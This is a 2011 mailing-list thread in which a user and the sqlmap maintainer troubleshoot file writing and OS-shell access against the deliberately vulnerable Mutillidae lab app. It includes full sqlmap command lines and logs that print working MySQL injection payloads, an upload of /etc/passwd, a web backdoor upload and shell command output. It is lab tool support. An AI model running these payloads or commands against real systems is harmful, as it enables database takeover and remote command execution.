Hi Chris,

Please, provide sqlmap with:

--data "view_user_name=admin&password=adminpass&Submit_button=Submit"

By invalid I mean, a view_user_name (perhaps in your version of
mutillidae it's called username) value which is accepted as well as a
valid password in this case.

Cheers,
Bernardo


On 7 July 2011 11:37, Chris Oakley <christopher.oak...@gmail.com> wrote:
> Hi Bernardo
>
> I'm not sure what you mean when you say that the POST parameters are
> invalid.  I tried the following:
>
> C:\Program Files\sqlmap-0.9>python sqlmap.py -u "http://localhost/muti
> llidae/index.php?page=user-info.php" --data "username=foo&password=bar
> &user-info-php-submit-button=View+Account+details" -p "username" --os-shell
>
> and the following occurs:
>
> [11:31:47] [INFO] the back-end DBMS is MySQL
> web server operating system: Windows
> web application technology: PHP 5.3.5, Apache 2.2.17
> back-end DBMS: MySQL 5.0
> [11:31:47] [INFO] going to use a web backdoor for command prompt
> [11:31:47] [INFO] fingerprinting the back-end DBMS operating system
> [11:31:48] [INFO] the back-end DBMS operating system is Windows
> [11:31:48] [INFO] trying to upload the file stager
> which web application language does the web server support?
> [1] ASP
> [2] ASPX
> [3] PHP (default)
> [4] JSP
>>
> [11:31:49] [WARNING] unable to retrieve the web server document root
> please provide the web server document root [C:/xampp/htdocs/,C:/Inetp
> ub/wwwroot/]: C:\wamp\www\mutillidae
> [11:32:01] [WARNING] unable to retrieve any web server path
> please provide any additional web server full path to try to upload th
> e agent [Enter for None]: C:\wamp\www\mutillidae
> [11:32:07] [WARNING] unable to upload the file stager on 'C:/wamp/www/
> mutillidae'
> [11:32:08] [WARNING] unable to upload the file stager on 'C:/wamp/www/
> mutillidae/mutillidae'
> [11:32:08] [WARNING] HTTP error codes detected during testing:
> 404 (Not Found) - 2 times
> [11:32:08] [INFO] Fetched data logged to text files under 'C:\Program
> Files\sqlmap-0.9\output\localhost'
>
> [*] shutting down at 11:32:08
>
> Could it be to do with:
>
> [11:31:49] [WARNING] unable to retrieve the web server document root
> please provide the web server document root [C:/xampp/htdocs/,C:/Inetp
> ub/wwwroot/]: C:\wamp\www\mutillidae
> [11:32:01] [WARNING] unable to retrieve any web server path
> please provide any additional web server full path to try to upload th
> e agent [Enter for None]: C:\wamp\www\mutillidae
>
> Regards
>
> Chris
>
> On 6 July 2011 23:52, Bernardo Damele A. G. <bernardo.dam...@gmail.com>
> wrote:
>>
>> Hi Chris,
>>
>> No worries.
>> If you want command execution, sqlmap can handle it automatically also
>> when it's MySQL and you've got a writable folder within the document
>> root, --os-cmd and --os-shell. Also, --os-pwn can work in this
>> scenario too.
>> The file stager uploaded is 0KB because you provide invalid values to
>> the POST parameters. sqlmap uses the LIMIT 1 INTO OUTFILE trick to
>> upload the file stager against MySQL.
>>
>> See:
>> --8<--
>> $ python sqlmap.py -u
>> "http://debian32/mutillidae/index.php?page=user-info.php"; --data
>> "view_user_name=admin&password=adminpass&Submit_button=Submit" -v 1
>> --os-shell --flush-session
>>
>>    sqlmap/1.0-dev (r4217) - automatic SQL injection and database takeover
>> tool
>>    http://sqlmap.sourceforge.net
>>
>> [!] legal disclaimer: usage of sqlmap for attacking targets without
>> prior mutual consent is illegal. It is the end user's responsibility
>> to obey all applicable local, state and federal laws. Authors assume
>> no liability and are not responsible for any misuse or damage caused
>> by this program
>>
>> [*] starting at 23:49:52
>>
>> [23:49:52] [INFO] setting file for logging HTTP traffic
>> [23:49:52] [INFO] using
>>
>> '/home/bernardo/software/sqlmap/subversion/trunk/sqlmap/output/debian32/session'
>> as session file
>> [23:49:52] [INFO] flushing session file
>> [23:49:52] [INFO] testing connection to the target url
>> [23:49:52] [INFO] heuristics detected web page charset 'ascii'
>> [23:49:52] [INFO] testing if the url is stable, wait a few seconds
>> [23:49:53] [INFO] url is stable
>> [23:49:53] [INFO] testing if POST parameter 'view_user_name' is dynamic
>> [23:49:53] [WARNING] POST parameter 'view_user_name' appears to be not
>> dynamic
>> [23:49:53] [INFO] heuristic test shows that POST parameter
>> 'view_user_name' might be injectable (possible DBMS: MySQL)
>> [23:49:53] [INFO] testing sql injection on POST parameter 'view_user_name'
>> [23:49:53] [INFO] testing 'AND boolean-based blind - WHERE or HAVING
>> clause'
>> [23:49:54] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or
>> HAVING clause'
>> [23:49:54] [INFO] POST parameter 'view_user_name' is 'MySQL >= 5.0 AND
>> error-based - WHERE or HAVING clause' injectable
>> [23:49:54] [INFO] testing 'MySQL > 5.0.11 stacked queries'
>> [23:49:54] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
>> [23:50:04] [INFO] POST parameter 'view_user_name' is 'MySQL > 5.0.11
>> AND time-based blind' injectable
>> [23:50:04] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
>> [23:50:04] [INFO] target url appears to be UNION injectable with 4 columns
>> [23:50:04] [INFO] POST parameter 'view_user_name' is 'MySQL UNION
>> query (NULL) - 1 to 10 columns' injectable
>> POST parameter 'view_user_name' is vulnerable. Do you want to keep
>> testing the others? [y/N]
>> sqlmap identified the following injection points with a total of 30
>> HTTP(s) requests:
>> ---
>> Place: POST
>> Parameter: view_user_name
>>    Type: error-based
>>    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
>>    Payload: view_user_name=admin' AND (SELECT 3033 FROM(SELECT
>> COUNT(*),CONCAT(CHAR(58,108,114,100,58),(SELECT (CASE WHEN (3033=3033)
>> THEN 1 ELSE 0 END)),CHAR(58,116,116,115,58),FLOOR(RAND(0)*2))x FROM
>> INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND
>> 'ekpw'='ekpw&password=adminpass&Submit_button=Submit
>>
>>    Type: UNION query
>>    Title: MySQL UNION query (NULL) - 1 to 10 columns
>>    Payload: view_user_name=admin' UNION ALL SELECT NULL, NULL,
>>
>> CONCAT(CHAR(58,108,114,100,58),IFNULL(CAST(CHAR(67,69,82,68,112,104,67,118,70,113)
>> AS CHAR),CHAR(32)),CHAR(58,116,116,115,58)), NULL# AND
>> 'TOwv'='TOwv&password=adminpass&Submit_button=Submit
>>
>>    Type: AND/OR time-based blind
>>    Title: MySQL > 5.0.11 AND time-based blind
>>    Payload: view_user_name=admin' AND SLEEP(5) AND
>> 'BfoH'='BfoH&password=adminpass&Submit_button=Submit
>> ---
>>
>> [23:51:31] [INFO] the back-end DBMS is MySQL
>>
>> web application technology: PHP 5.2.6, Apache 2.2.9
>> back-end DBMS: MySQL 5.0
>> [23:51:31] [INFO] going to use a web backdoor for command prompt
>> [23:51:31] [INFO] fingerprinting the back-end DBMS operating system
>> [23:51:31] [INFO] the back-end DBMS operating system is Linux
>> [23:51:31] [INFO] trying to upload the file stager
>> which web application language does the web server support?
>> [1] ASP
>> [2] ASPX
>> [3] PHP (default)
>> [4] JSP
>> >
>> [23:51:32] [WARNING] unable to retrieve the web server document root
>> please provide the web server document root [/var/www/]:
>> [23:51:32] [WARNING] unable to retrieve any web server path
>> please provide any additional web server full path to try to upload
>> the agent [Enter for None]: /var/www/test
>> [23:51:35] [WARNING] unable to upload the file stager on '/var/www'
>> [23:51:35] [INFO] the file stager has been successfully uploaded on
>> '/var/www/test' - http://debian32:80/test/tmpugbmo.php
>> [23:51:35] [INFO] the backdoor has probably been successfully uploaded
>> on '/var/www/test' - http://debian32:80/test/tmpbnhpd.php
>> [23:51:35] [INFO] calling OS shell. To quit type 'x' or 'q' and press
>> ENTER
>> os-shell> id
>> do you want to retrieve the command standard output? [Y/n/a]
>> command standard output:    'uid=33(www-data) gid=33(www-data)
>> groups=33(www-data)'
>>
>> os-shell> pwd
>> do you want to retrieve the command standard output? [Y/n/a]
>> command standard output:    '/var/www/test'
>>
>> os-shell> exit
>> [23:51:44] [WARNING] HTTP error codes detected during testing:
>> 404 (Not Found) - 1 times
>> [23:51:44] [INFO] Fetched data logged to text files under
>> '/home/bernardo/software/sqlmap/subversion/trunk/sqlmap/output/debian32'
>>
>> [*] shutting down at 23:51:44
>> --8<--
>>
>> Cheers,
>> Bernardo
>>
>>
>> On 6 July 2011 23:46,  <christopher.oak...@gmail.com> wrote:
>> > Hi
>> >
>> > Thanks. It turns out I was being an idiot. With absolute paths I didn't
>> > realise that this also includes the destination file name. With that
>> > included, it works like a dream.
>> >
>> > What I haven't managed to get going properly yet is the --os-cmd flag.
>> > The temp stager file does appear, but is empty, 0KB. However; I think I'll
>> > save that one for another day!
>> >
>> > Regards
>> >
>> > Chris
>> > ------------------
>> >
>> > -----Original Message-----
>> > From: "Bernardo Damele A. G." <bernardo.dam...@gmail.com>
>> > Date: Wed, 6 Jul 2011 23:42:22
>> > To: Chris Oakley<christopher.oak...@gmail.com>
>> > Cc: <sqlmap-users@lists.sourceforge.net>
>> > Subject: Re: [sqlmap-users] File Writing
>> >
>> > Hi Chris,
>> >
>> > To me it works well:
>> > --8<--
>> > $ python sqlmap.py -u
>> > "http://debian32/mutillidae/index.php?page=user-info.php"; --forms -p
>> > view_user_name --risk 3 --level 3 --parse-errors --file-write
>> > /etc/passwd --file-dest /tmp/test --flush-session
>> >
>> >    sqlmap/1.0-dev (r4217) - automatic SQL injection and database
>> > takeover tool
>> >    http://sqlmap.sourceforge.net
>> >
>> > [!] legal disclaimer: usage of sqlmap for attacking targets without
>> > prior mutual consent is illegal. It is the end user's responsibility
>> > to obey all applicable local, state and federal laws. Authors assume
>> > no liability and are not responsible for any misuse or damage caused
>> > by this program
>> >
>> > [*] starting at 23:26:35
>> >
>> > [23:26:35] [INFO] setting file for logging HTTP traffic
>> > [23:26:35] [INFO] testing connection to the target url
>> > [23:26:35] [INFO] heuristics detected web page charset 'ascii'
>> > [23:26:35] [INFO] searching for forms
>> > [#1] form:
>> > POST http://debian32:80/mutillidae/index.php?page=user-info.php
>> > POST data: view_user_name=&password=&Submit_button=Submit
>> > do you want to test this form? [Y/n/q]
>> >>
>> > Edit POST data [default:
>> > view_user_name=&password=&Submit_button=Submit] (Warning: blank fields
>> > detected):
>> > do you want to fill blank fields with random values? [Y/n]
>> > [23:26:37] [WARNING] the testable parameter 'view_user_name' you
>> > provided is not inside the GET
>> > [23:26:37] [INFO] using
>> >
>> > '/home/bernardo/software/sqlmap/subversion/trunk/sqlmap/output/debian32/session'
>> > as session file
>> > [23:26:37] [INFO] flushing session file
>> > [23:26:37] [INFO] using
>> >
>> > '/home/bernardo/software/sqlmap/subversion/trunk/sqlmap/output/results-07062011_1126pm.csv'
>> > as results file
>> > [23:26:37] [INFO] heuristics detected web page charset 'ascii'
>> > [23:26:37] [INFO] testing if the url is stable, wait a few seconds
>> > [23:26:38] [INFO] url is stable
>> > [23:26:38] [INFO] heuristic test shows that POST parameter
>> > 'view_user_name' might be injectable (possible DBMS: MySQL)
>> > [23:26:38] [INFO] testing sql injection on POST parameter
>> > 'view_user_name'
>> > [23:26:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING
>> > clause'
>> > [23:26:40] [INFO] testing 'OR boolean-based blind - WHERE or HAVING
>> > clause'
>> > [23:26:42] [INFO] testing 'OR boolean-based blind - WHERE or HAVING
>> > clause (Generic comment)'
>> > [23:26:42] [INFO] POST parameter 'view_user_name' is 'OR boolean-based
>> > blind - WHERE or HAVING clause (Generic comment)' injectable
>> > [23:26:42] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or
>> > HAVING clause'
>> > [23:26:42] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or
>> > HAVING clause'
>> > [23:26:42] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE or HAVING
>> > clause'
>> > [23:26:42] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING
>> > clause'
>> > [23:26:42] [INFO] testing 'MySQL OR error-based - WHERE or HAVING
>> > clause'
>> > [23:26:42] [INFO] POST parameter 'view_user_name' is 'MySQL OR
>> > error-based - WHERE or HAVING clause' injectable
>> > [23:26:42] [INFO] testing 'MySQL > 5.0.11 stacked queries'
>> > [23:26:42] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
>> > [23:26:42] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
>> > [23:26:42] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy
>> > query)'
>> > [23:26:42] [INFO] testing 'MySQL > 5.0.11 OR time-based blind'
>> > [23:26:42] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
>> > [23:26:43] [INFO] target url appears to be UNION injectable with 4
>> > columns
>> > [23:26:43] [INFO] POST parameter 'view_user_name' is 'MySQL UNION
>> > query (NULL) - 1 to 10 columns' injectable
>> > [23:26:43] [WARNING] in OR boolean-based injections, please consider
>> > usage of switch --drop-set-cookie if you experience any problems
>> > during data retrieval
>> > POST parameter 'view_user_name' is vulnerable. Do you want to keep
>> > testing the others? [y/N]
>> > sqlmap identified the following injection points with a total of 148
>> > HTTP(s) requests:
>> > ---
>> > Place: POST
>> > Parameter: view_user_name
>> >    Type: boolean-based blind
>> >    Title: OR boolean-based blind - WHERE or HAVING clause (Generic
>> > comment)
>> >    Payload: view_user_name=-5244' OR NOT (1884=1884)--
>> > &password=bDXj&Submit_button=Submit
>> >
>> >    Type: error-based
>> >    Title: MySQL OR error-based - WHERE or HAVING clause
>> >    Payload: view_user_name=-3024' OR 1 GROUP BY
>> > CONCAT(CHAR(58,97,108,119,58),(SELECT (CASE WHEN (8877=8877) THEN 1
>> > ELSE 0 END)),CHAR(58,112,119,98,58),FLOOR(RAND(0)*2)) HAVING MIN(0)--
>> > &password=bDXj&Submit_button=Submit
>> >
>> >    Type: UNION query
>> >    Title: MySQL UNION query (NULL) - 1 to 10 columns
>> >    Payload: view_user_name=IZBb' UNION ALL SELECT NULL,
>> >
>> > CONCAT(CHAR(58,97,108,119,58),IFNULL(CAST(CHAR(121,74,77,117,83,105,112,118,99,84)
>> > AS CHAR),CHAR(32)),CHAR(58,112,119,98,58)), NULL,
>> > NULL#&password=bDXj&Submit_button=Submit
>> > ---
>> >
>> > do you want to exploit this SQL injection? [Y/n]
>> > [23:26:46] [INFO] testing MySQL
>> > [23:26:46] [INFO] confirming MySQL
>> > [23:26:46] [INFO] the back-end DBMS is MySQL
>> >
>> > web application technology: PHP 5.2.6, Apache 2.2.9
>> > back-end DBMS: MySQL >= 5.0.0
>> > [23:26:46] [INFO] fingerprinting the back-end DBMS operating system
>> > [23:26:46] [INFO] the back-end DBMS operating system is Linux
>> > [23:26:46] [WARNING] if the problem persists with 'None' values please
>> > try to use hidden switch --no-cast (fixing problems with some
>> > collation issues)
>> > do you want confirmation that the file '/tmp/test' has been
>> > successfully written on the back-end DBMS file system? [Y/n]
>> > [23:26:48] [INFO] the file has been successfully written and its size
>> > is 1848 bytes, but the size differs from the local file '/etc/passwd'
>> > (1845 bytes)
>> > [23:26:48] [WARNING] expect junk characters inside the file as a
>> > leftover from UNION query
>> > [23:26:48] [INFO] you can find results of scanning in multiple targets
>> > mode inside the CSV file
>> >
>> > '/home/bernardo/software/sqlmap/subversion/trunk/sqlmap/output/results-07062011_1126pm.csv'
>> >
>> > [*] shutting down at 23:26:48
>> > --8<--
>> >
>> > Cheers,
>> > Bernardo
>> >
>> >
>> > On 3 July 2011 18:03, Chris Oakley <christopher.oak...@gmail.com> wrote:
>> >> Hi
>> >>
>> >> I'm playing with file writing.  I have a full privs root user set up in
>> >> mysql and am using
>> >>
>> >> http://www.irongeek.com/i.php?page=security/mutillidae-deliberately-vulnerable-php-owasp-top-10
>> >> to play with.  I've set up a /temp folder below the web root of the
>> >> app.
>> >> I've put a file "evil.php" in the sqlmap working directory.  I've also
>> >> changed the permissions for all users on the temp folder to write
>> >> access
>> >> allowed.
>> >>
>> >> I'm using the following input to try and upload this file:
>> >>
>> >> C:\Program Files\sqlmap-0.9>python sqlmap.py -u
>> >> "http://localhost/mutillidae/ind
>> >> ex.php?page=user-info.php" --data
>> >> "username=&password=&user-info-php-submit-butt
>> >> on=View+Account+Details" -p "username" --proxy "http://127.0.0.1:8085";
>> >> --file-wr
>> >> ite "evil.php" --file-dest "temp/evil.php"
>> >>
>> >> This is with the latest dev build by the way.
>> >>
>> >> The output I get is:
>> >>
>> >> [18:00:03] [INFO] the back-end DBMS is MySQL
>> >> web server operating system: Windows
>> >> web application technology: PHP 5.3.5, Apache 2.2.17
>> >> back-end DBMS: MySQL 5.0
>> >> [18:00:03] [INFO] fingerprinting the back-end DBMS operating system
>> >> [18:00:03] [INFO] the back-end DBMS operating system is Windows
>> >> [18:00:04] [WARNING] if the problem persists with 'None' values please
>> >> try
>> >> to us
>> >> e hidden switch --no-cast (fixing problems with some collation issues)
>> >> do you want confirmation that the file 'temp/evil.php' has been
>> >> successfully
>> >> wri
>> >> tten on the back-end DBMS file system? [Y/n]
>> >> [18:00:12] [WARNING] it looks like the file has not been written, this
>> >> can
>> >> occur
>> >>  if the DBMS process' user has no write privileges in the destination
>> >> path
>> >> [18:00:12] [WARNING] expect junk characters inside the file as a
>> >> leftover
>> >> from U
>> >> NION query
>> >> [18:00:12] [INFO] Fetched data logged to text files under 'C:\Program
>> >> Files\sqlm
>> >> ap-0.9\output\localhost'
>> >>
>> >> [*] shutting down at 18:00:12
>> >>
>> >> and sure enough the file isn't written.  I've also tried using the
>> >> --no-cast
>> >> switch, to no avail.
>> >>
>> >> Does anyone have any ideas on what could be going wrong here?  I can
>> >> use the
>> >> --file-read switch to read any file such as C:\boot.ini.  The --os-cmd
>> >> and
>> >> --os-pwn commands also fail at the stager upload phase, probably for
>> >> similar
>> >> reasons.
>> >>
>> >> Any help would be appreciated
>> >>
>> >> Cheers
>> >>
>> >> Chris
>> >>
>> >>
>> >>
>> >> ------------------------------------------------------------------------------
>> >> All of the data generated in your IT infrastructure is seriously
>> >> valuable.
>> >> Why? It contains a definitive record of application performance,
>> >> security
>> >> threats, fraudulent activity, and more. Splunk takes this data and
>> >> makes
>> >> sense of it. IT sense. And common sense.
>> >> http://p.sf.net/sfu/splunk-d2d-c2
>> >>_______________________________________________
>> >> sqlmap-users mailing list
>> >> sqlmap-users@lists.sourceforge.net
>> >> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>> >>
>> >>
>> >
>> >
>> >
>> > --
>> > Bernardo Damele A. G.
>> >
>> > E-mail / Jabber: bernardo.damele (at) gmail.com
>> > Mobile: +447788962949 (UK 07788962949)
>> > PGP Key ID: Unavailable
>> >
>>
>>
>>
>> --
>> Bernardo Damele A. G.
>>
>> E-mail / Jabber: bernardo.damele (at) gmail.com
>> Mobile: +447788962949 (UK 07788962949)
>> PGP Key ID: Unavailable
>
>



-- 
Bernardo Damele A. G.

E-mail / Jabber: bernardo.damele (at) gmail.com
Mobile: +447788962949 (UK 07788962949)
PGP Key ID: Unavailable

------------------------------------------------------------------------------
All of the data generated in your IT infrastructure is seriously valuable.
Why? It contains a definitive record of application performance, security 
threats, fraudulent activity, and more. Splunk takes this data and makes 
sense of it. IT sense. And common sense.
http://p.sf.net/sfu/splunk-d2d-c2
_______________________________________________
sqlmap-users mailing list
sqlmap-users@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/sqlmap-users

Reply via email to